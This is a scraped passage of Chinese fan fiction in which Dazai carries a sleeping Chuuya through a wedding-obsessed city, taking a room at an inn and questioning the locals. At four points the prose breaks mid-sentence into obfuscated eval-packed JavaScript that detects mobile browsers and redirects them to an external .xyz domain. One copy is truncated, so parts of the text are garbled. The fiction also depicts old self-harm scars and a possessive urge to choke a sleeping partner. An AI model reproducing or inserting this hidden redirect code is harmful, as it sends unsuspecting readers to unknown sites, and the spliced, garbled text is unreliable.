“也亏得这次陆陆续续还有这样多像你们一样，来我们城里观礼的异乡人，城里更加热闹了呢！” 得到了自己想要的消息后，太宰治便失去了再延续话题的欲望，只是微笑着坐在板车的角落，和仍在熟睡的中也挤在叠放草料的边界方，左耳进右耳出地听着驱车大叔的倾倒不尽的龙门阵。 等真正到达目的地，太宰治连驱车大叔家中人口组成都快知晓得一清二楚。 驱车大叔将他们妥善地放在城内的集市口，并好心向他们指明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962287|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借宿旅店的方向。 临走时，这位大叔还在担忧：“小兄弟，你的小妻子还在睡觉，就这么下车了，该不会影响到她吧？待会儿要是把她吵醒了，该不会对你发脾气吧？” 太宰治温柔地将中也拦腰抱起，稳稳固定在怀里：“没关系，让他再多睡会儿吧。他太累了，睡不醒就要赶路，我会心疼。况且，我亲爱的相当温柔，不会舍得发我的脾气的。” 他鸢色的眸子深深凝望着中也恬淡的睡颜，整个人显得深情至极。 在脱掉魔女的常规装束后，仅仅一件白衬衣和黑色束脚裤将太宰治衬托得干净简洁。 而他怀里的橘发娃娃脸爱人，因为整个人都裹在黑色外袍里，在太宰治的有意遮挡下，只能模糊知晓这是一个睡美人。 放眼看去，这简直就是一对刚刚成婚，如胶似漆的甜蜜夫妻。 “哈哈哈，那就好！曾经我的妻子也是这样，可惜她后来总是莫名其妙地发脾气，尤其是刚刚苏醒的那段时间，真是让我头疼不已呢。” 驱车大叔摇摇头，神色状似有些怀念：“所幸秩序之神在上，很快帮助我们摆脱了这样的困境。现在我的妻子再也不会和我生气啦！” 他话头回转，又再次落在太宰治身上：“你们这样幸福的夫妻在我们赫尔城是最受欢迎的，满怀着幸福与热情，喜悦每每能在你们的周围荡漾，让我们看见都觉得相当完美呢。” “少了争端和猜忌，在赫尔城里才能更加如鱼得水。” “再见啦，异乡人，祝你们这七日，在赫尔城里玩得愉快！” 驱车大叔摘下自己头上破旧的草帽，向太宰治轻轻一挥，表以礼节，随后便驱赶着自己的马车，向着与来时相反的方向而去了。 “借您吉言。”太宰治颔首致意。 等到四下无人，他低头再度打量起紧闭双眼，对外界一切毫无反应的中也，微微叹了口气：“这下真成睡美人啦中也。” 他心情不错，看了看四周的景象，悦耳的声音哼起一段五音不全的曲调。 原本处于睡梦中的中也不知是否是被这鬼哭狼嚎的乐曲刺激到，微微歪头，试图将自己埋进太宰治怀里。 这一点响动根本无法阻止穿透力极强的音乐继续灌入耳中。 略有些不安的中原中也从斗篷中费力地伸出手，不轻不重地恰巧按在太宰治发出声音的唇上，咕哝了一声：“别闹……”便没了动静。 不知是否是常年未见光，且未做过什么活计的缘故，中原中也的手柔软而滑腻，按在太宰治唇上时，触感比太宰治自己的肌肤更加细腻。 太宰治喉结上下滚动，从善如流地如中也所愿，停止了哼唱的歌谣。 “真是一只会撒娇的坏小狗。”他小声嘟囔：“好吧，谁让我是个心善的好主人呢——” “那就只能勉强让中也多睡一会儿啦。” 他抱着中原中也，转身没入赫尔城中的人潮之中，向着不久前，那名驱车大叔所说的客栈方向缓步而去。 他的每一步都走得很稳，没有让怀里熟睡的人感到半分不适。 步调最后，异乡人融入了这个正在紧锣密鼓筹办婚礼的城中。 8. 神明遗迹（四） 旅店外的老板正在往窗外满是盛开鲜花的藤蔓围栏上缠绕淡金色的丝带，白色绸带自上而下垂落在地，围栏小窗两脚的转折点各自放置了一大团锦簇的米白色百合花，零零星星的蓝色满天星点缀其间，最顶端，是一根可以在夜晚点亮的蜡烛。 见到缓缓接近，横抱着爱人的太宰治，楼下的服务生十分热情地接待了他们，并向他们推荐了据说是旅店风景最好的房间。 楼道之中是狭长的走廊，两侧错落挂着色彩浓艳的各式油画。 也许是因为城内正在筹备婚礼的缘故，这些油画的主题，无一不与之相关。 自角落的遥远的城堡风景，到中心突然出现的新人，再更替到末端的，在万众瞩目间，于教堂之中捧着花束，一步步款款走向神明石雕的新娘——而后戛然而止。 太宰治在服务生的引导下慢慢向自己的房间而去，一路上饶有趣味地欣赏了这些从某种角度上能串联成一段美好故事的画作，礼貌询问：“女士，请问这些画作有后续吗？” 他的态度十分友好，给予引路的服务生极大的尊重，言辞之间，洋溢着被城内情绪感染的活跃：“我进来时看见，外面的装潢和这些油画很相似呢，不知道这些油画出自哪位大师的手笔？真是惟妙惟肖啊。” “尤其是最后那副画作，我真想好好研究一番，回头为中也补上一场这样盛大而浪漫的婚礼。” 太宰治说着，向服务生微微致意，稍显腼腆： “我也是个画师，实在是很难对这些东西产生拒绝啊，一看见就走不动道了，要不是我想要快些让我的爱人躺在舒适的床上休息，真是想要在这条走廊上待到天荒地老。” 他略显幽默夸张的说辞将服务生逗得哈哈大笑，这位小姐穿着精致的女仆装，在得知太宰治的心愿后让他稍在原地等候，随后小跑着向走廊尽头而去，将挂在最角落那张象征着“婚礼进行时”的画作取了下来。 她将半人宽的画框小心地固定在怀中，回头快速回到两位看起来十分恩爱的客人身边，俏皮地眨了眨眼睛：“老板说过，一定要给来到旅店借宿，参与婚礼的异乡人最好的借宿体验。” “先生既然这么喜欢这幅画作，那我就替您放置在您和爱人的房间吧！” “愿秩序之神保佑你们，让你们在城里度过充实而愉快的七日。” 被取下画框的那面墙上有两圈浅浅的印记，太宰治不动声色地扫了一眼，脸上笑意不减：“那真是太谢谢您了，小姐，您的善解人意令我感到无比暖心。” “看着这副画作，我的灵感简直源源不断。” 服务生将他们带到走廊中段左侧的房间中，由于怀里抱着一副画框，她十分艰难地取下了腰间别着的钥匙串。 太宰治十分过意不去：“小姐，让我来帮您吧。” 他单手将中也固定在怀里，伸出空余的手将服务生手中的钥匙串接过：“我来开门就好。” “好的先生，感谢您。是左数第七把钥匙。” 服务生无法拒绝太宰治的帮助，事实上，因为画框对她而言有些大了，以至于这位美丽的服务生小姐都有些看不清路。 这一串钥匙上的纹路各不相同。太宰治单手将它们抚摸过一遍后，笑着找到了服务生所说的那把钥匙，插入门孔中，轻轻一转。 锁芯被应声拨动，房门开启。 太宰治颇具礼节地侧身让抱着画框的服务生先进入房间：“没关系的，反正我很喜欢抱着我的漂亮妻子。” 服务生小姐显然十分认同他的花，笑容满面：“真是非常羡慕你们的感情呢。这样的感情，无论在赫尔城的什么地方，都能得到优待。” “赫尔城的民众们对于浪漫与爱恋总是难以抵抗。” 她一边说着这样的漂亮话，一边手脚利索地将怀中地画框固定在正对门的墙上。 房间内装潢精致，米白色的墙面配合着蜡烛柔和的暖光，四角放置着如出一辙的百合与郁金香的花团，清雅的花香盈满整个房间。 淡金色的丝带从墙面四角一直牵引到房梁之上，上面甚至还用花丝缠绕出糖果的形状进行点缀。 靠窗的位置是一张看起来就十分柔软的双人床，半边斜阳还将光芒打在其上，蓬松的白色被套在阳光的浸润下显得十分温暖。 别出心裁的布置，致力于让进入其间的人们都能感觉到安心与放松。 “感谢您，小姐。”太宰治走到床边，掀开掩盖的被子，在背光地一侧将怀中的中也小心翼翼地放进去，随后为他盖好。 “好好休息吧，睡美人。”他眉眼温柔地抚摸过中原中也的脸，回身重新看向房间内的服务生小姐。 那副画作在正对门框的同时，好巧不巧就在床头，只需要一抬眼，几步路就能触及。 服务生接收到了太宰治的感谢，向他点头致意：“不客气，先生，这是我应该做的。您房间的钥匙就放在床头的篮子中，您可以用它开门。倘若出门忘记了带上钥匙，也可以来楼下的接客区找我拿取备用钥匙。” “祝您入住愉快。” 她指了指太宰治手中还捏着的，方才挂在她腰间的一大串钥匙，太宰治后知后觉将其递给服务生，随后看着那上下颠簸，宛如蝴蝶振翅的女仆装快速退出房间，并极具礼节地将房门合拢。 太宰治转身坐在床沿，从服务生所指的，挂在床头的花篮中取出钥匙。 同时，另一只手里出现了一把相同构造，但齿锁不同的，打上米白色漆纹的钥匙。 他将两把钥匙并拢，放在眼前，迎着光对比：“看起来差别不大。” 他反手将钥匙捏住，随意扔进了自己的扫帚里。 从进入这个地方后，太宰治便一直在试图运用元素力，但奇怪的是，这里的元素力似乎十分稀薄，根本无法供他绘制魔法阵。 直到进入赫尔城，他才能勉强将自己的扫帚弄出来，但也只能用点小把戏，比如其上的储存水晶一类的东西。 太宰治转头，看着现在枕头里，闭着眼的中也，微微叹气：“还真是贪睡呢，一点都感知不到外界。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962288|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黑发的青年半长的发尾遮掩了他的眉眼，使人无法察觉情绪的浮动。 但他手上浅浅萦绕着的元素却做不了假。 那是竭尽所能，在这座遗迹当中，为数不多能够唤来的魔法力量。 浅淡的灰黑色荧光顺着青年抚摸过被单里紧闭双眼的橘发睡美人而没入其中，自发尾向下滑动，眉梢、眼尾、鼻翼……而后在唇瓣稍加停留，柔软的触感使得修长的指尖在其上反复摩挲。 但他最终还是继续向下滑动了。 灰黑色的魔法元素力被橘发青年吸收得差不多，最终那只骨节分明，略显苍白的手停留在了中也的脖颈间。 只需要稍加用力，眼前这个紧闭双眼的小人根本没有丝毫能够抵抗的方法，只能任凭太宰治处置。 这样隐秘的掌控感极大地取悦了眼前这个黑发青年，他最终只是浅浅摸索了中也的喉结，随后向后滑动，分开的五指插入中原中也的发间。 太宰治附身靠近中也的耳旁，不含情绪的声音在褪去日常的伪装后显得格外冷淡。 但这样的动作下，那双鸢色眼睛就自然而然地裸露出来。 浓烈而复杂的情感萦绕其间，仿佛有一团挥之不去的烈火熊熊燃烧。 倘若中原中也能够看见，必将警铃大作，而后远离。 话语在喉中反复研磨，脱口而出的时候却显得缱倦缠绵：“好吧，如果中也是因为魂灵缺损，来到这样一个没办法通过元素力温养的地方而被迫做一个可怜的睡美人的话，那我就小小地原谅中也了。” “只是，和中也这样绑定在一起，动不了，实在是让人有些头疼呢。” 太宰治嘴上说着，手上却慢条斯理地将手腕上缠绕着的绷带一圈圈解开。 绷带之下，蓝青色的血管附近，横七竖八地刻印着乱七八糟的刀痕。 这些痕迹在创造的时候显然被弄出它们的主人划得很深，以至于即便看起来是陈旧的老伤口，依然凸出周遭的皮肤一大截。 太宰治鼻腔中快速轻哼出几道呼吸，也许是因为先前被中也嫌弃过他不着调的乐感，几道气息之后，并未借上哼唱的曲调。 取而代之的，是解开绷带手上滴落的鲜血。 太宰治咬破指尖，用血液在那些伤痕上按顺序一笔一笔涂抹。 “唉，都怪中也呢。” 黑发的青年嘴上说着抱怨，却没有任何这方面的情绪灌入其中，只是带着些许笑意：“我可不像中也这么贪睡，也没兴趣在这里陪着中也啦——” 手腕处最后一笔被涂抹完成，那些伤痕在血液的连接、绘制下，竟然完美地形成一个复杂的，刻印了咒语的魔法阵，期内显然被人提早注入了元素魔法力，只在绘制完毕之后，便能立刻使用。 温柔的浅灰色光晕笼罩了太宰治，当它消失之时，中原中也的耳畔便趴着一直通体漆黑，在右眼和四肢缠绕绷带的小黑猫。 站在床边的太宰治笑意盈盈，向不会给出任何回应的橘发青年挥手：“GOOD-BYE——中也。” 9. 神明遗迹（五） 黑发青年看起来心情不错，起身顺手将床头被服务生挂着的油画取下，顺手放在屋内唯一的，用作梳妆台处的镜子边，还饶有绅士精神地将油画和那面镜子一对一平齐。 随后，梳妆台被他转了个向，侧过来与床上的中原中也形成180°的夹角。 “嘘……你俩安静一点，别吵到人家睡觉哦。” 太宰治将油画背后突起的痕迹摸了个遍，起身不知在和屋内的谁说话。 自然不会得到任何回应。 做完这一切，太宰治重新取出自己的大尖角魔法帽，扣在头上，从窗台之上一跃而下。 床头的那只小黑猫默不作声地看着一切发生，只单睁着一只眼睛。 那双与太宰治如出一辙地鸢红色竖瞳毫无情绪波动，只是隐隐对着屋里那个来回走动地身影抱有一丝嫌弃与冷漠。 等到那个身影从窗台上消失不见，黑色的小猫才慢悠悠闭上眼睛，起身朝屋内的橘发青年靠得更近了一些，随后用一直不安分，上下晃动的尾巴将中也圈了起来。 它安静地和中也躺在一起，而超出距离的太宰治并未受到加强版“爱情魔法”的影响。 取而代之的，是屋内小黑猫背部不停闪烁的，芒星的光辉。 太宰治顺手拆下了眼睛上的单边绷带，随后从自己的水晶里取出一件崭新的斗篷，披在身上。 他巧妙地利用视线死角避开还在旅店外围勤奋布置着“具有婚礼氛围”场景的老板和服务生，于街道之上游荡。 城内的居民忙得热火朝天，斜阳已经到山腰，但丝毫不影响人们做工。 太宰治一路穿梭，最终在道路尽头，临近城堡的中心地段被守卫拦了下来。 身着银色铠甲，拿着刀的守卫固定于与城内通道的尽头几个口把手。 通道口处，足有五人高的城墙屹立于此，牢不可破地捍卫着被包裹其间的高大城堡。 站在道路外，仅仅只能看见圆顶尖头的银色建筑，除此之外，无法窥探半分。 城墙于四方开了四座城门，最上方还有着固定巡逻的守卫队。 密不透风，训练有素。 “您好，先生，此处止步。” 左右两方的守卫各自伸手，在太宰身前，两条手臂恰如其分地划了一个叉，借此堵住了通路。 “我是一个四方吟游的诗人，初次到赫尔城。”太宰治略带歉意地举起两只手，后退几步：“依照过往我拜访城市的顺序，我以为赫尔城也需要先来觐见城主，以出示我的身份证明呢。” “很抱歉，似乎有些破坏规矩了。” 守卫听完他的解释，收回手臂，依旧笔挺地站在原地。 “没有关系，先生。” “虽然城规中说明，擅闯城堡者需压进看守，在弄清楚擅闯者的目的后施以对应的惩罚，但这对于异乡人来说并不适用。” “异乡人总能得到一点额外的优待。” 两名守卫异口同声，相同频率下的声音使得一切陈述更加清晰。 左方的守卫道：“我们的城主欢迎所有来到赫尔城游玩的旅人。只要你们遵守城内的法律和规则，不要触犯它，一定能在赫尔城度过愉快的时光。” “至于觐见，我们城内并没有这样的规矩。城主因为身份的传统限制和日常工作的缘故，并不能够时时接待外来的人，所以常常嘱咐我们要代为照料。” “倘若您在城内遇到麻烦，只需要到固定的咨询处进行求助即可。” “有什么问题，也可以在那里得到解答。” “咨询处门前有一座固定的天平喷泉，十分显眼，便于所有有需要的人找到它。” “秩序之神在上，愿您旅途愉快。” 太宰治点头，继续提出疑问：“但我在外游玩之时，就听说过赫尔城城主的光辉历史，心下对此憧憬不已，原本以为还能借此机会一睹城主的身姿，现在看来倒是十分遗憾了。” “不必为此感到焦虑与遗憾先生。”站在右侧的守卫接上他的话：“城主近期正在筹备婚礼，您当然有机会实现自己的愿望。” “您只需要在休沐日的晚上来到这里，进入中心教庭，就能够一睹城主芳颜。” “依照赫尔城传统，城主在届时能够将城堡大门打开，使用接待所有来客，向她的民众和秩序之神的信徒代为传递神明的光辉。” “您只需要按时参加即可。” “那真是太好了！我来得正是时候啊！”太宰治眉眼舒展，仿佛为此而兴奋不已。 “我已经迫不及待想要让时间快进达到休沐日了！” 太宰治神情轻松地摘下自己的帽子，于胸前致谢，同时得到了两名守卫的回应。 随后，他再次表达了自己对于擅闯此处的歉意，戴上帽子，转身向街道而去。 他看起来就像是真的，对赫尔城极度感兴趣的吟游诗人，旅途到此，意外犯下错误。 但事实上，他连休沐日是什么都不知道。 太宰治回到通往街道的通道之后，原本稀少的人群、店家、摊贩又重新出现，热闹起来。 临口的一个摊位上，一名贩卖水果的姑娘对于在此条路上折返行径，突然出现的太宰治感到十分震惊。 她快速和一旁贩卖果汁摊位的摊主小声交谈几句，随后抓起摊位上的一个苹果，暂时撇下自己的摊位，朝太宰治匆匆跑来。 “嘿，先生，您是远道而来，初次拜访赫尔城吧？” 姑娘在身前的围裙上擦了擦手里的苹果，递到太宰治跟前。 “不要担心，先生，我并没有恶意，吃个苹果吧。” 太宰治随着她的呼唤停下自己继续前进的脚步。 他礼貌地和眼前的姑娘拉出一点短暂的距离，随后接过她手中的苹果，浅浅抿唇微笑：“谢谢您，美丽的小姐。” 姑娘被他的笑容略略晃了一下眼睛，旋即低头：“不用客气，先生。” “我只是想提醒您，日常来讲，城堡是不能冒犯的。” “到达城堡妄图进入其中会收到守卫和审判庭的惩罚。” 太宰治对此极为感兴趣，当即应声：“抱歉，我并不知晓这些。我只是在外听说了赫尔城城主的风采，想要觐见一下。” “我是个吟游诗人，之前也是通过这样的方式在其他城镇进行活动的。很抱歉，我并不十分了解赫尔城的规矩。 “但我并无恶意。吟游诗人总是会为自己的缪斯而失去理智，像我这样，竟然忘记了先向你们咨询。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962289|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 姑娘听完他的话，略略松了口气。 因为太宰治后续表现中显露出的忧郁失落和对自己触犯规则的歉意，她回复的语气中便不自觉带上些安慰，接着道：“这并不是您的错，每个来到赫尔城的异乡人或多或少都会触犯些规则。” “但秩序之神在上，宽容一向是我们的标尺，城主也一直这样嘱托我们。所以在一定范围内，先生您有足够犯蠢的机会，不必为此有负罪感。” “只是先生，与您之前所游历的地方不同，赫尔城城堡并非是城主用来接待客人的。” “您应当有所耳闻，赫尔城受秩序之神的恩泽，我们沐浴在神明的光辉之下，在这座城市安居乐业。” “但我们所能够用来回馈神明的，实在太少太少，所以我们为神明建造了一座城堡，在最中心的教堂供奉神明的神塑，反哺以神明。” “而城主，是由我们当中收到恩泽最多，最受喜爱的城民担任的。” “因为这多方的缘由，城堡并不能够擅闯，自然也不允许人们随意进入其中啦！” “不过先生，您之前是怎么到那里去的呀？竟然没有被街道看见的居民阻止吗？” “我以为至少会有人站出来向您说明情况呢，免得客人被严肃的守卫白白吓到。” 姑娘微微向一边倾头，鹿眼微微扇动：“讲真的，看见您从那里回来，我还吓了一跳，真希望您没有被守卫的言辞伤害到。” “没有的事，是我太过心急，来时的路上只顾着按城门的通道提示图匆匆赶路，完全没有注意到周围是否有人叫住我。”太宰治无奈地摊手： “希望美丽的小姐不要为此过多烦恼。我也没有被守卫惊吓，毕竟他们只是秉公办事，还好心地为我指明了咨询处的位置，希望我能在城内更如鱼得水。” 漂亮的恭维成功拨动了姑娘的心弦，身为赫尔城的城民，荣耀与自豪无可复加： “这一次城主大婚，不仅经过了神明的认可，神明甚至还主动提出可以在届时打开城堡，让所有人都收到祝福呢！” “这是近年来最盛大的一场喜事！要知道，我们赫尔城的城民，一生最多只能见到一次神明的尊颜！” “先生，您来得太是时候了!” 姑娘已经完全陷入了对婚礼举办的幻想，神色间按耐不住的激动足以感染周遭所有与她有着共同想法的人。 可惜太宰治并不能够体会这一情绪，只是略带敷衍地闭上眼低头，仿佛正在进行一场神圣的祷告：“我也这么认为，真是好运连连。” 好在姑娘并未对此多加探究，热情地继续向太宰治科普：“先生，您的愿望一定能实现，只要在城内等到休沐日，一切问题都会迎刃而解！” “那是自然，但我想，我还是应该先前往咨询处，毕竟了解一个城市，要先从它的规则与人文风俗起。” 太宰治后退一步，微微弯腰。 姑娘对此认可不已：“您说得对，先生，是我多虑了，最近的咨询处就在这条街道向前的十字路口左侧，那一片很大的区域，一定能让您对赫尔城有更深的了解！” “愿秩序之神保佑您！” 收到太宰治的感谢之后，姑娘迅速转身回到自己的苹果摊旁。 10. 神明遗迹（六） 有一说一，这座城市正常里，处处透露着古怪。 民众们热情洋溢地为着城主的“婚礼”而忙碌着，在提出为异乡来客免单的同时，又在街道上固定的摊位或是商铺中忙得热火朝天。 这简直就是白嫖者的天堂——倘若不是太宰治清楚记得，自己在日落之前，牵着刚刚开始养的橘子小狗进入了遗迹的话。 他赶在夕阳逃脱的尾巴里走进被苹果摊姑娘指出的咨询处，路过门口那座被守卫特别提出的“喷泉”时，特意驻足多看了两眼。 那是一座有半栋小楼高的人物喷泉，披着长纱的人捧着一颗圆形的球交叠双手以一种近乎受戮的姿态仰头，身形弯叠，在不平稳的模型刻画下站立在一圈由石板砌成的喷泉池中，周身汩汩地溢出泉水。 这个披着长纱的喷泉人被模糊了五官与性别特征，几乎很难辨认出究竟以什么为原型。 下方的石板上依稀用文字写着什么，在四方甚至还有攀爬的孩子模样的刻画像加以点缀。 喷泉后是一座古朴的，像是缩小版圣殿模样的建筑，此时此刻，铁门敞开着，最上方还挂着一块看起来摇摇欲坠的木板，工整地标出“咨询处”三个大字。 这就很方便来人寻找了。 太宰治快速敲击三下铁门以示意，随后踏入咨询处大门，在地面贴着的指示箭头指引下来到侧面西方位的展台处。 展台看起来洁净如新，最前方甚至用手绘进行过一番装饰，并用醒目的大字写着——咨询台。 后方用小字缀着：来客可于此处进行咨询。 半圆形的展台有大半个人高，其后坐着一个看起来有些病怏怏的青年。 耳旁漆黑的发丝尾端是白色挑染，白色宫廷风的上衣看起来和周遭环境格格不入。 青年状态看起来着实糟糕，时不时用藏在衣服袖口夹层的手帕掩面咳嗽，从肺部猛烈呼出的哮鸣音让人打心眼里怀疑他是否随时可能一命呜呼。 咨询处竟然会选择这样一个人坐在最前面替迷路的异乡人进行指引，也着实令人开了眼。 太宰治一如既往，面具般的温柔笑意挂在脸上，走到咨询台轻轻敲击台面：“你好，请问这里是咨询处么？” 展台后的青年双目放空，忧郁而苍白的脸看起来呆愣乖巧，在没有任何表情的加持下，颇像一只傻乎乎的垂耳兔。 似乎是因为咨询处的任务太过清闲，青年不自觉走神，连有客人到访都不知道——毕竟放眼望去，整个开阔的大厅，也只有太宰治一个来咨询的异乡人罢了。 太宰治心态良好地二度敲击展台台面，规律而清脆的声音响起三次：“你好，请问你是咨询处人员吗？” 青年被近在咫尺的声音唤醒，在见到来人时极其短暂地恍惚了一下，眉头不自觉紧缩又很快放开，旋即点头，语带歉意：“您好，欢迎您光临赫尔城，这里是赫尔城咨询处，有什么问题尽可问在下，倘若有解决不了的，可以向右转从扶梯上二楼找赫尔城主教先生，我们竭诚为您服务。” “真是周到又富有人性化的管理体系呀。”太宰治笑意盈盈：“竟然能让像您这样，看起来十分专业的人士在这里为我们外来者进行指导，看来赫尔城城主名不虚传。” “我确实有些问题，不知道能否让您腾出宝贵的时间为我一一解答呢？” 展台后的垂耳兔青年微微犹疑一瞬，不确信地点头。 “那可真是太好了。”太宰治收回手：“不知道先生是在城里做什么的呢？我是一个来自外邦，对赫尔城城主抱有极大兴趣的游人，途径此处，想知道一些有关城主的消息。” “嗯……城主是赫尔城推选出来的圣女，是这一代最尊贵的女皇陛下，帮助我们传递神明的恩泽的同时，维持着神明与祂的子民的交流。” 垂耳兔青年太宰治问题落下的同时进行回复，宛如被设定好一般，一丝不苟。 当回应他的工作时，垂耳兔青年稍加沉默，语调中带着一些疑虑：“至于在下，大概是咨询处的工作人员，职责是为了给您这样的客人排忧解难？” 上挑的尾音完全没有任何信服力，太宰治若有所思地点头：“原来如此，我看你的穿着打扮，还以为你是宫廷的人呢。毕竟你的着装和我目前在城内见过的人都不太一样，不论是设计还是材料。” “着装？”垂耳兔青年在回复中又出现了飘忽不定的目光，就像在谈话间总是不自觉走神：“不一样么？或许是教廷统一发放的吧？” 他看起来迷惑极了，歪着头打量自己身上的衣衫时，还在不断拉扯手里褶皱恰到好处，喇叭尾的衣袖口。 袖口尾端的袖口上，有一弯漂亮而精致的月牙印记。 “这是衣服上都有的吗？”垂耳兔青年不自觉呢喃出声。 他的目光涣散，看起来不太妙。 太宰治及时制止了他发散的思维，单手伸出，在垂耳兔青年的眼前张开，顺时针一个漂亮的圈，随后清亮的声线带着蛊惑：“闭眼。” 垂耳兔青年的目光被骨节分明的苍白手掌不自觉吸引去，十分听话地闭上双眼。 好像脑海中一直的嗡鸣都淡去不少。 “好了，睁眼吧。”太宰治发出指令。 当垂耳兔青年睁开眼时，眼前这个戴着大尖角帽子，遮蔽上半张脸，唇色艳红的人又重新前倾身体，倚靠在站台上，上扬着唇角发问了。 “你现在好些了吗？” 垂耳兔青年点头，思维略微有些迟缓：“很抱歉，先生，在下好像影响到您的旅行体验了。” “没关系。”太宰治食指在展台上轻轻敲击，看起来有些索然无味：“事实上，我确实还有些问题需要得到解答。” “您不妨向在下倾诉，倘若在下解决不了，会向您咨询主教大人的。”不知为何，垂耳兔青年总是不希望眼前人为问题所困扰，总是迫切想要替他解决当前的烦恼。 太宰治当然乐见其所：“好吧，我这一路上，从进入赫尔城起，就在不断听见‘规则’。但我好像并不清楚，赫尔城究竟有些什么规则，这些规则会影响到我在城里的生活吗？” “也许……不会？”垂耳兔青年神色挣扎，他的眼睛忽明忽暗，最终定格在一片漆黑：“当然不会，先生。赫尔城城规只是我们用来约束城民的东西，不必拘泥于此。” 垂耳兔青年的语速在这番回应里越来越快，看起来热情又欢快，同太宰治来之前城内遇见的居民没什么不同，简直和方才唯唯诺诺，犹疑不定的样子形成鲜明对比。 “我们不希望您为此感到不快，从而影响了在赫尔城中的旅途。” “当然，如果您对此感兴趣，我们也可以提供一份简要的城规草稿，供您一乐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962290|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 太宰治站在原地，没有动作。 他沉默良久，又再次伸出自己缠着绷带的手，摊开到展台后人的面前。 这是需要的意思了。 垂耳兔青年的语速微微一顿，话语里的热情削减大半。 他微微叹气，从展台下，从太宰治角度而言，完全看不见的空间里摸索了一阵，随即掏出了一本薄薄的，看起来不过几张纸，封面印着“规则手册”四个大字的书籍。 “好吧，先生，这就是您想要的东西了。”垂耳兔青年幽幽道，将手册放在展台平面上，朝太宰治方向推去。 太宰治慢悠悠从手册空余的另外半截接过，而垂耳兔青年按在上面的手还施加着力量，令太宰治无法在不损害这看起来质量堪忧的手册的情况下，将它收入怀中。 “我想，先生您应该放手。”太宰治神色温柔，但隐藏在帽檐阴影下鸢色的眼眸里却没有一点感情。 “哦哦，好的。”垂耳兔青年在这样的话语下如梦初醒，突然睁大眼睛，漆黑的瞳孔如潮水般褪去，漂亮的银灰色瞳眸重新裸露出来，携带着无限的迷茫和一丝不易觉察的痛苦。 垂耳兔青年大口大口地喘气，松开自己一直压在手册上的手，用衣袖间的手帕掩住口鼻，剧烈地咳嗽起来。 “很抱歉，先生。”垂耳兔青年在咳嗽间断断续续地说：“这份手册记载了赫尔城一些基础的城规，应当能解决您的大部分问题。” 太宰治却没有说话，只是将这份“规则手册”翻开首页，便合上随意塞进自己衣袍的夹层里，继而用手继续撑着身体，观察展台后的人。 垂耳兔青年没有那样多的余力去回应太宰治的目光。 方才的情绪突变和一连串的快语似乎耗费了他极大的精力和身体健康，以至于他不断地喘息、咳嗽着，喉咙间仿佛有一个破败的风箱被不断拉扯。 太宰治甚至能从露出的手帕余角看见星星点点的血迹。 只是那铁锈般的味道算不上浓郁，颜色也只有浅浅一层。 太宰治终于站直了身体，双手插在衣兜中：“这座咨询处是只有先生您在这里工作吗？” 垂耳兔青年点头又摇头：“赫尔城咨询处有很多，每处都会有相应的工作人员值守。二层，是主教所在的地方。” 太宰治对他反复提及的主教兴趣不大，毕竟身后那座蛇形的木梯上方看起来并不灯火通明，尽头看起来不过透不过光的黑色。 让人没有丝毫涉足的欲望。 或许赫尔城的主教和太宰治有着同样的罢工想法，故意用这样的设计，熄灭烛火来让咨询人生不起上楼的欲望呢？ 就是楼下的工作人员会因此辛苦一些罢了。 “今日，我还有最后一个疑问，我能邀请你，咨询处的工作人员先生，仅限于您，做我三日的向导吗？” “您知道，作为一个初来乍到的游人，我对赫尔城的一切都不太熟悉，而城市里的民众们好像都十分忙碌。” “我实在不好意思去叨扰他们满足我的无礼请求。” 太宰治的话语显得谦卑又可怜，充满了希冀，仿佛真的是因为提出了一个无礼请求而感到抱歉的游人。 站在展台后的垂耳兔青年在他的请求下，成了一根木头，呆呆地在原地，眼神不自觉飘向太宰治身后的木梯，直上二楼。 11. 神明遗迹（七） 当然，二楼不会给予他任何回应， 在良久的缄默之间，垂耳兔青年点头：“当然可以，先生，在下荣幸之至。” 太宰治收到意料中的回应，点头：“那就期待您明日的大驾。” 